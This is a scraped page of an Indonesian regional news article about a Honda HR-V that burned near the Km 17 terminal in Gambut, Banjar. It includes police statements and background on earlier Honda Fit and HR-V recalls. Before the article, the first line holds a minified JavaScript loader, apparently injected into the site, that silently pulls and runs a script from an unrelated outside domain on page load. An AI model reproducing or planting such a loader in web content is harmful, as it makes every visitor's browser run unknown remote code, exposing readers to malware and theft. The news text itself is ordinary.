(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Bangkai Honda HR-V yang Terbakar Masih di Lokasi Kejadian


MARTAPURA, Polisi masih mengusut penyebab terbakarnya Honda HR-V pada Kamis (26/4) pukul 20.15 Wita di Km 17, Kecamatan Gambut, Kabupaten Banjar. Apakah ada unsur kecelakaan dalam kasus tersebut, atau murni adanya problem teknis pada kendaraan yang menyebabkan mobil yang kategori masih keluaran baru tersebut hangus terbakar.

Dari pantauan reporter KanalKalimantan.com di lokasi kejadian, kondisi bangkai HR-V tersebut memang mengenaskan. Kebakaran yang terjadi kemarin menyebabkan seluruh bagian mobil habis. Dari bagian depan, interior, hingga belakang mobil.

Informasi dari Satlantas Polres Banjar, 1 unit mobil Honda HR-V dengan nopol DA 8827 AY yang dikemudikan Jumiati (23) warga Jl Harmoni, Kompleks Bumi Raya Banjarmasin. Saat itu, Jumiati sedang belajar menyetir didampingi oleh Rizal (33) yang beralamat di Jl Rantalian 2 Pekauman Banjarmasin.

Saat mengemudi di area terminal provinsi Km 17, Kecamatan Gambut, Kabupaten Banjar, ketika menginjak  gas terjadi percikan api di bagian lampu depan kanan. Kemudian pengemudi turun dari mobil dan api semakin membesar yang membuat mobil terbakar. Apa penyebab sebenarnya dari kebakaran ini masih diusut polisi.

Kanit Laka Sat Lantas Polres Banjar IPDA Marzuki membenarkan kejadian tersebut. “Ya, benar tadi malam pukul 20.15 Wita telah terjadi terbakarnya 1 unit mobil Honda HR-V dengan nopol DA 8827 AY yang dikemudikan Jumiati dan penumpang Rizal. Saat ini untuk penyebak kebakaran masih diselidiki,” terang IPDA Marzuki.

Malam itu, setelah mendapat informasi terjadinya kebakaran mobil, team dari BPK gabungan meluncur ke tempat kejadian. Namun setelah sampai di jalan A Yani  Km 17, team tidak mendapati adanya mobil yang terbakar. Setelah ditelusuri, akhirnya ditemukan dan terlihat sebuah mobil  jenis  Honda HR-V dengan nopol DA 8827 AY sudah dalam kondisi terbakar hebat di dekat terminal Km 17 Gambut.

Rekanan gabungan BPK pun  langsung dengan sigap melakukan penyemprotan untuk memadamkan api. Dan tak beberapa berapa lama, api pada mobil tersebut sudah dapat dipadamkan. Informasi yang dihimpun di lapangan oleh relawan, mobil tersebut mengeluarkan api  pada bagian depan dan langsung membakar habis seluruh bagian mobil. “Alhamdulillah dalam insiden tersebut tdak terdapat korban luka  maupun jiwa,” kata salah seorang tim penyelamat.

Kasus mobil HR-V terbakar ini bukan pertama kali terjadi. Sebelumnya Januari lalu, mobil HR-V bernomor polisi B 2755 BFP juga tiba-tiba mengeluarkan asap tebal dari bagian kap mesin di Tagerang Selatan (Tangsel). Lalu kobaran api muncul menghanguskan bagian depan mobil yang juga diduga akibat korsleting arus listrik di bagian mesin. Beberapa kasus lain juga terjadi di beberapa daerah, dari penelusuran di internet.

Lalu, apakah ada masalah teknis dengan kendaraan ini? Memang, pihak Honda belum memberikan konfirmasi terkait masalah ini.

Dari beberapa kumpulan data di tahun-tahun sebelumnya banyak terjadi permasalahan di salah satu Produk Honda.

Sebelumnya ditahun 2016 dilansir oleh Autoevolution, Rabu, 6 April 2016, pabrikan mobil Honda Jepang terpaksa menarik kembali lebih dari 164 ribu unit Fit (Jazz) dan Vezel (HR-V) yang sudah dijual ke konsumen. Alasannya, ditemukan cacat produksi pada fitur start-stop, yang bisa menyebabkan timbulnya api. Diduga, arus listrik yang melewati sistem tersebut jumlahnya berlebih, sehingga dapat menimbulkan panas, yang berujung pada terbakarnya kendaraan.

Sejauh ini, sudah ada enam unit mobil yang mengalami kebakaran akibat cacat tersebut. Pihak Honda tidak mau mengambil risiko lebih besar, sehingga mereka memutuskan untuk melakukan recall. Unit yang harus ditarik kembali adalah Fit produksi 2013-2015 dan HR-V buatan 2013-2016.

Selain itu, ada 118 ribu unit Fit yang juga harus ditarik kembali karena sistem kemudi electric power steering (EPS). Ditemukan dua kasus tabrakan yang melibatkan Fit, dimana sistem EPS tiba-tiba tidak berfungsi.(hendera)

Reporter: Hendera
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.